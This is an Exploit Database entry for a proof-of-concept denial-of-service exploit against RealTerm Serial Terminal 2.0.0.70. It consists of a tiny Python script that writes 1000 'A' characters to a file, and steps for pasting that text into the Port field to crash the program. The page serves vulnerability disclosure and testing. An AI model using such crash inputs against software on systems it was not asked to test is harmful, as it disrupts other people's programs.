



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Realterm Serial Terminal 2.0.0.70 - Denial of Service

EDB-ID:

46390

CVE:

N/A

EDB Verified: ✘

Author:

[ALEJANDRA SÁNCHEZ](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-02-18

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# -*- coding: utf-8 -*-  
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Port' Denial of  
Service (PoC)  
# Date: 15/02/2019  
# Author: Alejandra Sánchez  
# Vendor Homepage: https://realterm.sourceforge.io/  
# Software Link: https://sourceforge.net/projects/realterm/files/  
# Version: 2.0.0.70  
# Tested on: Windows 10
```

```
# Proof of Concept:  
# 1.- Run the python script "RealTerm.py", it will create a new file  
"PoC.txt"  
# 2.- Copy the content of the new file 'PoC.txt' to clipboard  
# 3.- Open realterm.exe  
# 4.- Go to 'Port' tab  
# 5.- Paste clipboard in 'Port' field  
# 6.- Click on button -> open  
# 7.- Crashed
```

```
buffer = "\x41" * 1000  
f = open ("PoC.txt", "w")  
f.write(buffer)  
f.close()
```

Tags: [Denial of Service \(DoS\)](#),
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.